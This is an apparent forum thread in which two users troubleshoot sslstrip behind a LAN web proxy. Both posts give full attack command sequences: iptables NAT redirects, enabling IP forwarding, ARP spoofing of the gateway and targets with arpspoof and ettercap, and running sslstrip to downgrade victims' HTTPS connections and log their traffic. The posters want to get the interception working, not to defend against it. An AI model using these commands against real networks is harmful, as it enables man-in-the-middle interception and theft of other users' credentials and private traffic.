sslstrip behind a proxy server

[avandelay]

sslstrip is failing when used in a proxy environment. For example, all the clients on LAN use someserver:8080 as their web proxy. I'm starting sslstrip with the following commands:

iptables -t nat -A PREROUTING -p tcp --destination-port 8080 -j REDIRECT --to-port 10000
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
echo "1" > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 [gateway ip]
sslstrip -w debug.log -k -p -l 10000

Clients hang when trying to use SSL websites. The debug log contains repetitions of:

2010-02-04 14:55:47,663 Sending request via HTTP...
2010-02-04 14:55:47,670 Server connection failed.
2010-02-04 14:55:47,670 Retrying via SSL
2010-02-04 14:55:47,674 Server connection failed.
2010-02-04 14:55:47,678 Sending request via HTTP...
2010-02-04 14:55:47,723 Server connection failed.
2010-02-04 14:55:47,723 Retrying via SSL
2010-02-04 14:55:47,729 Server connection failed.
2010-02-04 14:55:47,732 Sending request via HTTP...
2010-02-04 14:55:47,735 Server connection failed.
2010-02-04 14:55:47,735 Retrying via SSL
2010-02-04 14:55:47,814 Sending request via HTTP...
2010-02-04 14:55:47,899 Sending request via HTTP...
2010-02-04 14:55:47,955 Sending request via HTTP...
2010-02-04 14:55:47,964 Sending request via HTTP...
2010-02-04 14:55:47,974 Sending request via HTTP...
2010-02-04 14:55:48,047 Sending request via HTTP...
2010-02-04 14:55:48,059 Sending request via HTTP...
2010-02-04 14:55:48,062 Server connection failed.
2010-02-04 14:55:48,062 Retrying via SSL
2010-02-04 14:55:50,218 Sending request via HTTP...

Any ideas what might solve this issue?

[thearcher]

man , i have the same situation my network is using a proxy server

and im doing that sslstrip and it works fine for me

when using ettercap

e

cho 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 8080 -j REDIRECT --to-port 10000
"why are using iptables two times i think u r enabling it once then disabling it , i dunn know but i think so "

arpspoof -i eth0 [target][gateway ip]
ettercap -T -q -i eth0
sslstrip -w debug.log -k -p -l 10000

that order will work fine
but im facing another problem and that is
when i stop ettercap and arp for spoofing another target
it doesnt work , and (the proxy server not found) message appears on the traget IE
but i noticed when repeating "echo 1 > /proc/sys/net/ipv4/ip_forward"
many time it then work
but i dunn know how many times i have to do so
it always differ...
so plz im requesting u guys help if u can
thnxxx